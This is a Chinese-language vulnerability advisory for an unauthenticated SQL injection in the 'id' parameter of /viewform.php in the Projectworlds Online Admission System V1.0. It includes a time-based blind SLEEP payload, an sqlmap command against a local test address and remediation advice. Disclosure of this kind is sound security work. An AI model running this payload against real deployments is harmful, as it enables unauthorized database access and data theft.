Exploit for Projectworlds Online Admission System Project V1.0 /viewform.php SQL injection
受影响产品
Online Admission System
供应商主页
https://projectworlds.in/free-projects/php-projects/online-admission-system-php-mysql-bootstrap/
受影响版本
V1.0
漏洞文件
/viewform.php
软件链接
https://projectworlds.in/free-projects/php-projects/online-admission-system-php-mysql-bootstrap/
漏洞类型
SQL注入
根本原因
在’Online Admission System’项目的’/viewform.php’文件中发现SQL注入漏洞。此问题的原因是攻击者从参数’id’注入恶意代码,并在SQL查询中直接使用,没有进行适当的清理或验证。这使得攻击者可以伪造输入值,从而操纵SQL查询并执行未经授权的操作。
影响
攻击者可以利用此SQL注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、全面系统控制甚至服务中断,对系统安全和业务连续性构成严重威胁。
描述
在对"Online Admission System"的安全审查中,我在"/viewform.php"文件中发现了一个严重的SQL注入漏洞。此漏洞源于对’id’参数的用户输入验证不足,允许攻击者注入恶意SQL查询。因此,攻击者可以获得未经授权的数据库访问权限、修改或删除数据以及访问敏感信息。需要立即采取补救措施以确保系统安全并保护数据完整性。
利用此漏洞无需登录或授权
漏洞详情和POC
漏洞位置:
‘id’参数
Payload:
参数: id (GET) 类型: 基于时间的盲注 标题: MySQL >= 5.0.12 AND 基于时间的盲注 (查询 SLEEP) 有效载荷: id=1’ AND (SELECT 3171 FROM (SELECT(SLEEP(5)))KIuN) AND ‘VCSJ’=‘VCSJ
以下是使用sqlmap工具测试和运行获得的一些具体信息的截图:
sqlmap -u "http://192.168.225.82/yuanma/Online-Admission-System-master/viewform.php?id=1" --data="id=1' AND (SELECT 3171 FROM (SELECT(SLEEP(5)))KIuN) AND 'VCSJ'='VCSJ
建议修复
1.使用预处理语句和参数绑定:
预处理语句可以防止SQL注入,因为它们将SQL代码与用户输入数据分开。使用预处理语句时,用户输入的值被视为纯数据,不会被解释为SQL代码。
2.输入验证和过滤:
严格验证和过滤用户输入数据,确保其符合预期格式。
3.最小化数据库用户权限:
确保用于连接数据库的账户具有最小必要权限。避免在日常操作中使用具有高级权限的账户(如’root’或’admin’)。
4.定期安全审计:
定期进行代码和系统安全审计,及时识别和修复潜在的安全漏洞。